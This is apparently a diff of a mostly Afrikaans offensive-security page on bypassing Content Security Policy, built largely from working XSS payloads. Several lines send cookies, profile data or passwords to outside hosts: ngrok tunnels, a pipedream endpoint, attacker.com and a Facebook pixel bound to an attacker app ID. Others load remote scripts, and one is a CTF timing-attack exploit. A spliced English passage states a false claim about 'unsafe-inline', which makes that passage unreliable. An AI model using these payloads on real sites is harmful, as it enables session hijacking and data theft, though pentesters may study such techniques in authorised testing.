||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
|
||||
### Werkende vragmotors:
|
||||
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
```
|
||||
|
||||
### Lêeroplaai + 'self'
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
|
||||
Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
|
||||
|
||||
Werkende lading:
|
||||
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
|
||||
Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer **valideer** en sal slegs toelaat dat jy 'n **bepaalde tipe lêers oplaai**.
|
||||
|
||||
Selfs al sou jy 'n **JS-kode binne** 'n lêer kon oplaai met 'n deur die bediener aanvaarde uitbreiding (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal **weier om Javascript**-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet van** die _**.wave**_ uitbreiding nie, daarom dien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
|
||||
|
@ -198,10 +216,13 @@ Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoo
|
|||
{% hint style="warning" %}
|
||||
Vir sommige van die volgende lading is **`unsafe-eval` selfs nie nodig nie**.
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
|
||||
Laai 'n kwesbare weergawe van Angular en voer willekeurige JS uit:
|
||||
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
@ -222,11 +243,13 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
|
||||
#### Ladingstukke wat Angular + 'n biblioteek met funksies wat die `window`-objek teruggee, gebruik ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Die pos wys dat jy **alle biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek-repo) **kan laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en kan nagaan **watter funksies van watter biblioteke die `window`-objek teruggee**.
|
||||
{% endhint %}
|
||||
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
|
@ -250,17 +273,21 @@ Die pos wys dat jy **alle biblioteke** van `cdn.cloudflare.com` (of enige ander
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
|
||||
### Bypassing Content Security Policy (CSP) using Angular XSS from a class name:
|
||||
|
||||
### Omseil van Inhoud Sekuriteitsbeleid (CSP) deur Angular XSS vanaf 'n klassenaam:
|
||||
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
|
||||
#### Misbruik van Google reCAPTCHA JS-kode
|
||||
|
||||
Volgens [**hierdie CTF-verslag**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:
|
||||
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -271,7 +298,9 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
|
||||
Meer [**payloads van hierdie skryfstuk**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
@ -286,21 +315,27 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
|
||||
#### Misbruik van www.google.com vir oop omleiding
|
||||
|
||||
Die volgende URL rig na example.com (van [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
|
||||
### Derdu Party Eindpunte + JSONP
|
||||
|
||||
Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n bladsy binne script.google.com. Soos dit [gedoen word in hierdie verslag](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
||||
### Afrikaans Translation
|
||||
|
||||
Situasies soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
|
||||
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -310,6 +345,7 @@ Situasies soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke
|
|||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereedskap om JSONP eindpunte te gebruik vir CSP deurbraak van verskillende webwerwe.**
|
||||
|
||||
Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Oop Aansturing bevat** omdat as die aanvanklike eindpunt vertrou word, is aanstuurings vertrou.
|
||||
|
@ -318,23 +354,25 @@ Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Oop Aansturing
|
|||
|
||||
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:
|
||||
|
||||
| Entiteit | Toegelate Domein | Vermoëns |
|
||||
| ------------------ | -------------------------------------------- | ------------- |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Uitsif |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Uitsif |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Uitvoer |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Uitsif, Uitvoer|
|
||||
| Amazon AWS | \*.amazonaws.com | Uitsif, Uitvoer|
|
||||
| Azure Webwerwe | \*.azurewebsites.net, \*.azurestaticapps.net | Uitsif, Uitvoer|
|
||||
| Salesforce Heroku | \*.herokuapp.com | Uitsif, Uitvoer|
|
||||
| Google Firebase | \*.firebaseapp.com | Uitsif, Uitvoer|
|
||||
| Entiteit | Toegelate Domein | Vermoëns |
|
||||
| ----------------- | -------------------------------------------- | --------------- |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Uitsif |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Uitsif |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Uitvoer |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Uitsif, Uitvoer |
|
||||
| Amazon AWS | \*.amazonaws.com | Uitsif, Uitvoer |
|
||||
| Azure Webwerwe | \*.azurewebsites.net, \*.azurestaticapps.net | Uitsif, Uitvoer |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Uitsif, Uitvoer |
|
||||
| Google Firebase | \*.firebaseapp.com | Uitsif, Uitvoer |
|
||||
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kans groot dat jy die CSP kan deurbreek deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.
|
||||
|
||||
Byvoorbeeld, as jy die volgende CSP vind:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
|
||||
### Content Security Policy (CSP) Bypass
|
||||
|
||||
#### Introduction
|
||||
|
@ -350,19 +388,17 @@ Content Security Policy (CSP) is an added layer of security that helps to detect
|
|||
There are several ways to bypass CSP, including:
|
||||
|
||||
1. **Inline Script Execution**: By using inline event handlers or inline script tags, attackers can execute arbitrary code on the web page.
|
||||
|
||||
2. **Unsafe Inline**: Disabling the `'unsafe-inline'` directive in the CSP policy allows attackers to execute inline scripts.
|
||||
|
||||
3. **Data Injection**: Injecting malicious code into trusted sources, such as script src URLs, can bypass CSP protections.
|
||||
|
||||
4. **Nonce Bypass**: If a website uses nonces for script-src, an attacker can bypass CSP by injecting a valid nonce value.
|
||||
|
||||
5. **Self XSS**: Tricking a user into executing malicious code on their own behalf can bypass CSP protections.
|
||||
|
||||
By understanding these techniques, security professionals can better protect web applications against CSP bypass vulnerabilities.
|
||||
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
||||
Jy behoort in staat te wees om data uit te voer, soortgelyk aan hoe dit altyd gedoen is met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass). In hierdie geval, volg hierdie algemene stappe:
|
||||
|
||||
1. Skep 'n Facebook Ontwikkelaar rekening hier.
|
||||
|
@ -373,20 +409,24 @@ Jy behoort in staat te wees om data uit te voer, soortgelyk aan hoe dit altyd ge
|
|||
6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
|
||||
|
||||
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-sporepixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekening app-id te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
|
||||
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
|
||||
### Omgang via RPO (Relatiewe Pad Overskrywing) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.
|
||||
|
||||
Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit so omseil word:
|
||||
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
|
||||
Die browser sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
|
||||
|
||||
Dit werk omdat vir die browser, laai jy 'n lêer genaamd `..%2fangular%2fangular.js` wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
|
||||
|
@ -397,7 +437,7 @@ Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die b
|
|||
|
||||
Die oplossing is om `%2f` nie as `/` aan die kant van die bediener te behandel nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.
|
||||
|
||||
Aanlyn Voorbeeld: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
Aanlyn Voorbeeld:[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Iframes JS uitvoering
|
||||
|
||||
|
@ -411,29 +451,36 @@ Indien die **base-uri** riglyn ontbreek kan jy dit misbruik om 'n [**dangling ma
|
|||
|
||||
Verder, as die **bladsy 'n skrip laai deur 'n relatiewe pad** te gebruik (soos `<script src="/js/app.js">`) deur 'n **Nonce** te gebruik, kan jy die **base** **tag** misbruik om dit te laat **laai** die skrip vanaf **jou eie bediener om 'n XSS te bereik.**\
|
||||
Indien die kwesbare bladsy met **httpS** gelaai word, maak gebruik van 'n httpS-url in die basis.
|
||||
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
||||
### AngularJS gebeure
|
||||
|
||||
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat verwys na die inheemse blaaiergebeurtenisobjek. Hierdie `$event` objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die `$event/event` objek 'n `path` eienskap, wat 'n objekreeks bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window` objek wat onveranderlik aan die einde geplaas word. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.
|
||||
|
||||
Deur hierdie reeks na die `orderBy` filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die `window` objek) benut kan word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:
|
||||
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
|
||||
Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis te trigger, deur `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en deur die `window` objek te benut om die `alert()` funksie uit te voer, en sodoende `document.cookie` bloot te stel.
|
||||
|
||||
**Vind ander Angular omleidings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS en witgelysde domein
|
||||
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
|
||||
'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie [git-opgaarplek](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Werkende lading:
|
||||
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -441,6 +488,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
|
||||
Ander JSONP-willekeurige uitvoerpunte kan gevind word in [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige van hulle is verwyder of reggemaak)
|
||||
|
||||
### Omsnyding deur Herleiing
|
||||
|
@ -450,6 +498,7 @@ Wat gebeur wanneer CSP kantoorserver-herleiing teëkom? As die herleiing na 'n a
|
|||
Volgens die beskrywing in [CSP spes 4.2.2.3. Paaie en Herleidings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
|
||||
|
||||
Hier is 'n voorbeeld:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -465,6 +514,7 @@ Hier is 'n voorbeeld:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Indien CSP ingestel is op `https://www.google.com/a/b/c/d`, aangesien die pad oorweeg word, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
|
||||
|
||||
Nietemin, die finale `http://localhost:5555/301` sal **op die bedienerkant na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` omgelei word**. Aangesien dit 'n omleiding is, word die **pad nie oorweeg nie**, en kan die **skrip gelaai word**, wat dus die padbeperking omseil.
|
||||
|
@ -478,15 +528,19 @@ Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidings
|
|||
Lees [hoe hier](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
|
||||
`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webwerf kan gebruik.
|
||||
|
||||
Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):
|
||||
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
|
||||
Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n afbeelding ingevoeg is te laai**. As byvoorbeeld, die bladsy laai afbeeldings van Twitter. Jy kan 'n **spesiale afbeelding** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) **uit te voer** wat die **afbeelding laai**, die **JS** daaruit **onttrek** en **dit uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
@ -506,10 +560,12 @@ Dienswerkers se **`importScripts`**-funksie is nie beperk deur CSP nie:
|
|||
#### Chrome
|
||||
|
||||
As 'n **parameter** wat deur jou gestuur word binne die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
|
||||
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
|
||||
Omdat hierdie riglyn bestaande script-src riglyne **oorwrite**.\
|
||||
Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
|
@ -521,9 +577,10 @@ Voorbeeld: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\
|
|||
### img-src \*; via XSS (iframe) - Tyd aanval
|
||||
|
||||
Let op die afwesigheid van die riglyn `'unsafe-inline'`\
|
||||
Hierdie keer kan jy die slagoffer laat **'n bladsy in **jou beheer** laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai, kan jy die inligting wat jy nodig het, onttrek.
|
||||
Hierdie keer kan jy die slagoffer laat \*\*'n bladsy in **jou beheer** laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai, kan jy die inligting wat jy nodig het, onttrek.
|
||||
|
||||
Hierdie keer gaan 'n **vlag** onttrek word, telkens wanneer 'n **karakter korrek gegok** word via SQLi neem die **reaksie** langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
|
||||
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -583,6 +640,7 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
|
||||
### Via Boekmerklets
|
||||
|
||||
Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou **skadelike javascript**-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
|
@ -603,12 +661,14 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`**-kenmerk:
|
|||
|
||||
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML inspuiting** om **meer te beperk** 'n **CSP** sodat 'n skrip wat CSTI voorkom, uitgeskakel is en dus die **kwesbaarheid vatbaar geword het vir uitbuiting.**\
|
||||
CSP kan strenger gemaak word deur **HTML meta-tages** te gebruik en inline-skripte kan uitgeskakel word **deur die verwydering** van die **inskrywing** wat hulle **nonce** toelaat en **spesifieke inline-skrip aktiveer via sha**:
|
||||
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
|
||||
### JS uitlekking met Content-Security-Policy-Report-Only
|
||||
|
||||
As jy kan slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die **JS-inhoud** wat jy wil uitlek met **`<script>`** omhul en omdat dit baie waarskynlik is dat `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
|
||||
|
@ -616,9 +676,11 @@ As jy kan slaag om die bediener te laat reageer met die kop **`Content-Security-
|
|||
Vir 'n voorbeeld [**kyk na hierdie CTF-skryfstuk**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
|
||||
```javascript
|
||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
|
||||
### Uitlek van Inligting met CSP en Iframe
|
||||
|
||||
* 'n `iframe` word geskep wat na 'n URL wys (laat ons dit `https://example.redirect.com` noem) wat toegelaat word deur CSP.
|
||||
|
@ -628,9 +690,11 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lekkasie van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
|
||||
|
||||
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
||||
Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontbloot.
|
||||
|
||||
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.
|
||||
|
@ -650,7 +714,7 @@ Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte
|
|||
**Nuutste aankondigings**\
|
||||
Bly ingelig met die nuutste foutvindings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Onveilige Tegnologieë om CSP te omseil
|
||||
|
||||
|
@ -664,12 +728,14 @@ Idee vanaf [**hierdie skryfstuk**](https://hackmd.io/@terjanq/justCTF2020-writeu
|
|||
### Herskryf Foutbladsy
|
||||
|
||||
Vanaf [**hierdie skryfstuk**](https://blog.ssrf.kr/69) lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
|
||||
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **misbruik in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`**-voorwerp in die **lading** gebruik om toegang te verkry tot die DOM van die **werklike eindpunt wat misbruik moet word**. Vir meer inligting, kyk:
|
||||
|
@ -690,40 +756,50 @@ As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **inte
|
|||
### Ligging
|
||||
|
||||
Jy kan eenvoudig die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:
|
||||
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
|
||||
### Meta tag
|
||||
|
||||
Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)
|
||||
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
|
||||
### DNS Prefetch
|
||||
|
||||
Om bladsye vinniger te laai, gaan webblaaier die hostnaam na IP-adresse vooraf oplos en dit vir later gebruik in die cache stoor.\
|
||||
Jy kan 'n webblaaier aandui om 'n hostnaam vooraf op te los met: `<link rel="dns-prefetch" href="iets.com">`
|
||||
|
||||
Jy kan hierdie gedrag misbruik om **gevoelige inligting via DNS-versoeke uit te voer**:
|
||||
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
